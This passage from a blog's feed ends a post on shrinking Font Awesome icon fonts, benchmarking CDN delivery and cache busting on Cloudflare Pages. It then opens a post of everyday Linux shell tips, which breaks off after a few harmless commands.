&lt;h3 id=&quot;multiple-variants&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#multiple-variants&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Multiple Variants &lt;i class=&quot;fas fa-circle&quot;&gt;&lt;/i&gt; &lt;i class=&quot;far fa-circle&quot;&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;p&gt;To complicate matters, FA fonts have different &lt;strong&gt;variants&lt;/strong&gt;, and they modularise this by using the same codepoint, but separate font files. Not all fonts do this though. Devicon packs all their styles into a single font file. Here are some examples of FA styles.&lt;/p&gt;
&lt;div class=&quot;table-container icon-table&quot;&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Solid&lt;/th&gt;
&lt;th&gt;Regular&lt;/th&gt;
&lt;th&gt;Brands&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fa-star&lt;/code&gt; (U+F005)&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 fas fa-star&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 far fa-star&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fa-user&lt;/code&gt; (U+F007)&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 fas fa-user&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 far fa-user&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fa-thumbs-up&lt;/code&gt; (U+F164)&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 fas fa-thumbs-up&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 far fa-thumbs-up&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fa-github&lt;/code&gt; (U+F09B)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;i class=&quot;fs-4 fab fa-github&quot;&gt;&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h2 id=&quot;an-icon-dieting-plan&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#an-icon-dieting-plan&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; An Icon Dieting Plan &lt;i class=&quot;fa-solid fa-dumbbell&quot;&gt;&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;With the backstory out of the way, let&#39;s discuss the high-level algorithm.&lt;/p&gt;
&lt;p&gt;In my mind, all we have to do is post-process the generated static files like so:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Crawl the HTML files for a Font Awesome CSS. Parse the CSS and associated WOFF2 font files.&lt;/li&gt;
&lt;li&gt;Crawl the HTML files (and perhaps other files) for used icons.&lt;/li&gt;
&lt;li&gt;Construct a font file containing the minimum icons. We may also need to remap codepoints to resolve clashes.&lt;/li&gt;
&lt;li&gt;Construct a CSS file containing the new mappings from icon class (e.g. &lt;code&gt;.fa-star&lt;/code&gt;) to codepoint.&lt;/li&gt;
&lt;li&gt;Write the CSS and font files.&lt;/li&gt;
&lt;li&gt;Replace the original CSS links with the new CSS file.&lt;/li&gt;
&lt;li&gt;Celebrate!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To no one&#39;s surprise, this shaved off more than 97% bytes. A success! Or is it?&lt;/p&gt;
&lt;h2 id=&quot;where-speed&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#where-speed&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Where speed? &lt;i class=&quot;fa-solid fa-poo&quot;&gt;&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;As with many things in engineering, one metric rarely provides good coverage.&lt;/p&gt;
&lt;p&gt;After integrating the minification into my build process, I excitedly waited for the site to build. I opened Chrome dev tools, loaded my site, and... what?! It was slower? Okay, maybe it was the first load, and the page wasn&#39;t cached on the edge.&lt;/p&gt;
&lt;p&gt;But even after refreshing multiple times, the &lt;strong&gt;Time to First Byte (TTFB)&lt;/strong&gt; was roughly the same compared to loading the original files.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Server - why u no fast?&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Server - why u no fast?&quot; title=&quot;Server - why u no fast?&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The answer? CDN.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;What is a CDN? CDNs (Content Delivery Networks) are servers deployed all over the globe, optimised to deliver assets such as JS, CSS, images, and fonts.&lt;/p&gt;
&lt;p&gt;Moreover, if the file is guaranteed to &lt;em&gt;not&lt;/em&gt; change (e.g. a versioned library asset), then the server can return a high browser cache duration, typically 1 year. Subsequent requests can just reuse the downloaded file.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;a href=&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css&quot;&gt;original&lt;/a&gt; &lt;a href=&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/webfonts/fa-solid-900.woff2&quot;&gt;files&lt;/a&gt; are delivered over a CDN. On the other hand, the minified files are served from Cloudflare Pages, which aren&#39;t optimised for low-latency delivery. Further, CF Pages may modify the URL/request/response via Page Rules or Cache Rules, and this extra server-side processing takes a toll on the response speed.&lt;/p&gt;
&lt;p&gt;I benchmarked the response speed of delivery by CDN versus the site directory. The methodology is simple: collect download times from multiple points around the world, repeat this a couple times, and find the median. And we perform this for 6 different asset files.&lt;/p&gt;
&lt;p&gt;Turns out, cdnjs.cloudflare.com delivers almost 50% faster.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Asset&lt;/th&gt;
&lt;th&gt;Total Time (in ms)&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/th&gt;
&lt;th&gt;Total Time x3 (in ms)&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CSS (cdn; unminified)&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSS (site; unminified)&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSS (site; minified)&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Font (cdn; unminified)&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;63&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Font (site; unminified)&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;114&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Font (site; minified)&lt;/td&gt;
&lt;td&gt;47&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Font Awesome Free 6 benchmark for downloading assets from a CDN vs Cloudflare site. Here, unminified/minified refers to whether files contain excess icons; it does not refer to excess whitespace. The expectation is that minified assets are faster. (&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1UBUJGIhmdYql2lPz5tYWn6A97iVz1V40YIC2d6iz_vo/view&quot;&gt;Data&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;I did leave out one detail though. The minified font is packaged in &lt;em&gt;one&lt;/em&gt; file. The original FA fonts are delivered in &lt;em&gt;three, separate&lt;/em&gt; files (Solid, Regular, Brands). If we account for this by multiplying unminified font results by a factor of 3, I think it&#39;s fair to say we have ourselves a win.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Another thing to consider: CDN assets may also be used by other sites, meaning the assets may already be cached. 10 sites using the same CDN font asset is better than 10 sites using minified font assets. If we browse these 10 sites, the former gives 1 set of downloads + 9 cache hits, while the latter has 10 sets of downloads + &lt;em&gt;0&lt;/em&gt; cache hits.&lt;/p&gt;
&lt;p&gt;Aside from the glaring potential for a delightful, thought-provoking discussion on collectivism and individualism, this begs the question: &lt;em&gt;is it really worth it?&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;cache-busting-with-cloudflare-cache-rules&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#cache-busting-with-cloudflare-cache-rules&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Cache Busting with Cloudflare Cache Rules &lt;i class=&quot;fa-solid fa-gavel&quot;&gt;&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;Similar to a CDN, we would like to take advantage of browser cache by providing a high cache time. This way, if the user visits the site across the week, they wouldn&#39;t need to re-download the measly 8kB of gzipped assets. This is ideal for sites that update sporadically.&lt;/p&gt;
&lt;p&gt;You&#39;re probably thinking — come on, it&#39;s just 8kB, are you masochistic? And my response would be: it&#39;s a potential saving of 100ms for return visitors, and yes.&lt;/p&gt;
&lt;p&gt;By default, Cloudflare Pages has a browser cache time of 4 hours. We can change this duration by modifying the &lt;code&gt;Cache-Control&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule-2114w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule-2114w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2114 / 784&quot; alt=&quot;Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns.&quot; title=&quot;Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule-1024w.webp 1024w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule-2114w.webp 2114w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2114px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Create a cache-busting rule for URI paths starting with &lt;code&gt;/cb/&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Configure the browser cache duration to 1 year.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl-1708w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl-1708w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1708 / 554&quot; alt=&quot;Configure the browser cache duration to 1 year.&quot; title=&quot;Configure the browser cache duration to 1 year.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl-1024w.webp 1024w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl-1708w.webp 1708w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1708px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Set the cache time to 1 &lt;s&gt;century&lt;/s&gt; year.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;We got the expected Cache Control header.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser-1466w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser-1466w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1466 / 934&quot; alt=&quot;We got the expected Cache Control header.&quot; title=&quot;We got the expected Cache Control header.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser-1024w.webp 1024w, https://trebledj.me/img/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser-1466w.webp 1466w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1466px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;It works!&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;We&#39;ve applied cache-busting to the &lt;code&gt;/cb/&lt;/code&gt; path. All that&#39;s left is to make sure our new assets are written to &lt;code&gt;_site/cb/&lt;/code&gt;; but more importantly, that &lt;strong&gt;the file name changes between different versions&lt;/strong&gt;. This is super important.&lt;/p&gt;
&lt;p&gt;If we updated our CSS/font file, we need to tell the browser: &amp;quot;Hey! Download and cache the new version online. Don&#39;t use the old cached file!&amp;quot; Changing the file name is the best way to force a cache-miss. Nothing complex. We can just append the file hash to each file.&lt;/p&gt;
&lt;p&gt;I used the first 8 bytes of MD5, but any common hash will do. Now our files resemble &lt;code&gt;/cb/webfonts/icons-10736075e7883838.woff2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We just need to propagate this to our CSS, then HTML files, and we&#39;re done!&lt;/p&gt;
&lt;h2 id=&quot;closing-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#closing-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Closing Remarks &lt;i class=&quot;fa-solid fa-glass-water&quot;&gt;&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;The code is a bit of a handful, but I&#39;ve uploaded it on GitHub: &lt;a href=&quot;https://github.com/TrebledJ/icon-minifier&quot;&gt;TrebledJ/icon-minifier&lt;/a&gt;. Taking inspiration from other projects, I designed it to work as a CLI tool, but you can also import the API. Currently, it only handles Font Awesome fonts. I may add other webfonts later, and maybe have an SVG integration. Pull requests are welcome.&lt;/p&gt;
&lt;p&gt;I should also point out that icon minification isn&#39;t a new problem. In fact, there are &lt;a href=&quot;https://github.com/aui/font-spider&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;https://github.com/eHanlin/font-generator&quot;&gt;general&lt;/a&gt; &lt;a href=&quot;https://github.com/ecomfe/fontmin&quot;&gt;solutions&lt;/a&gt; designed to minify fonts. These are designed to compress fonts with many characters such as Chinese, Korean, and Japanese; though some work with icons too. Of the three, &lt;a href=&quot;https://github.com/aui/font-spider&quot;&gt;Font Spider&lt;/a&gt; has the most comprehensive features.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Given the mediocre results, I&#39;ll continue keeping an eye on CDN performance and perhaps move on to better alternatives. Next step: mentally prepare myself to wrangle some CSS, and migrate to SVGs.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;287kB gzipped comes from fa-brands, plus fa-regular, plus fa-solid. Fortunately, these variants are only downloaded if used. 2000 icons just counts solid, regular, and brands. Imagine the number of icons if premium FA was used! &lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://fonts.google.com/knowledge/glossary/web_font&quot;&gt;Google Font Glossary: Web Font&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Total Time includes DNS resolve time + connection time + download time. Times are sourced from &lt;a href=&quot;https://www.uptrends.com/tools/cdn-performance-check&quot;&gt;uptrends.com&lt;/a&gt;. (Not sponsored. It just seems to have the largest coverage.) &lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Total Time x3 applies when multiple font files are downloaded. This is used to provide a more accurate representation of resources used. &lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;The deviation between &amp;quot;Font (site; &lt;em&gt;unminified&lt;/em&gt;)&amp;quot; and &amp;quot;Font (site; &lt;em&gt;minified&lt;/em&gt;)&amp;quot; is most likely due to network latency and jitter. &lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;It even has a punny Chinese name! 字蛛! &lt;a href=&quot;https://trebledj.me/posts/optimising-web-icons-for-fun/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>web</category>
        
          <category>performance</category>
        
          <category>meta</category>
        
          <category>notes</category>
        
          <category>writeup</category>
        
          <category>project</category>
        
          <category>software-engineering</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Practical Linux Tricks for the Aspiring Hacker</title>
        <description>A curated list of fanciful Linux tricks I use to bolster my command-line prowess and activate Sage Mode.</description>
        <link href="https://trebledj.me/posts/linux-cheatsheet/"/>
        <updated>2024-04-08T00:00:00Z</updated>
        <id>https://trebledj.me/posts/linux-cheatsheet/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This is a collection of commands I&#39;ve picked up over the last few years, which I&#39;ve found immensely useful. My favourite ones are probably:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;less&lt;/code&gt;: search/filter on a file or long text&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^r&lt;/code&gt;: reverse search&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!$&lt;/code&gt;: last argument of previous command&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By &amp;quot;favourite&amp;quot;, I mean I&#39;ve used these commands a &lt;em&gt;lot&lt;/em&gt;, and they&#39;ve drastically increased my productivity.&lt;/p&gt;
&lt;h2 id=&quot;cool-stuff&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#cool-stuff&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Cool Stuff&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Control (&lt;code&gt;^&lt;/code&gt;) Commands&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^c &lt;span class=&quot;token comment&quot;&gt;# Duh. https://xkcd.com/416/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^d &lt;span class=&quot;token comment&quot;&gt;# Exit / EOF.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Reverse/Forward Search&lt;/strong&gt;: for those long commands stashed in history. Works in PowerShell and REPLs too!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^r&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^s&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Note: to make &lt;code&gt;^s&lt;/code&gt; work in bash/zsh, you may need to run &lt;code&gt;stty -ixon&lt;/code&gt;, which &lt;a href=&quot;https://superuser.com/questions/472846/how-to-reverse-i-search-back-and-forth&quot;&gt;disables software control flow&lt;/a&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ternary Expression&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-eq&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;true&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;false&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Clear screen&lt;/strong&gt;. Useful for graphical hiccups.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;reset&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Run shell script without &lt;code&gt;chmod +x&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
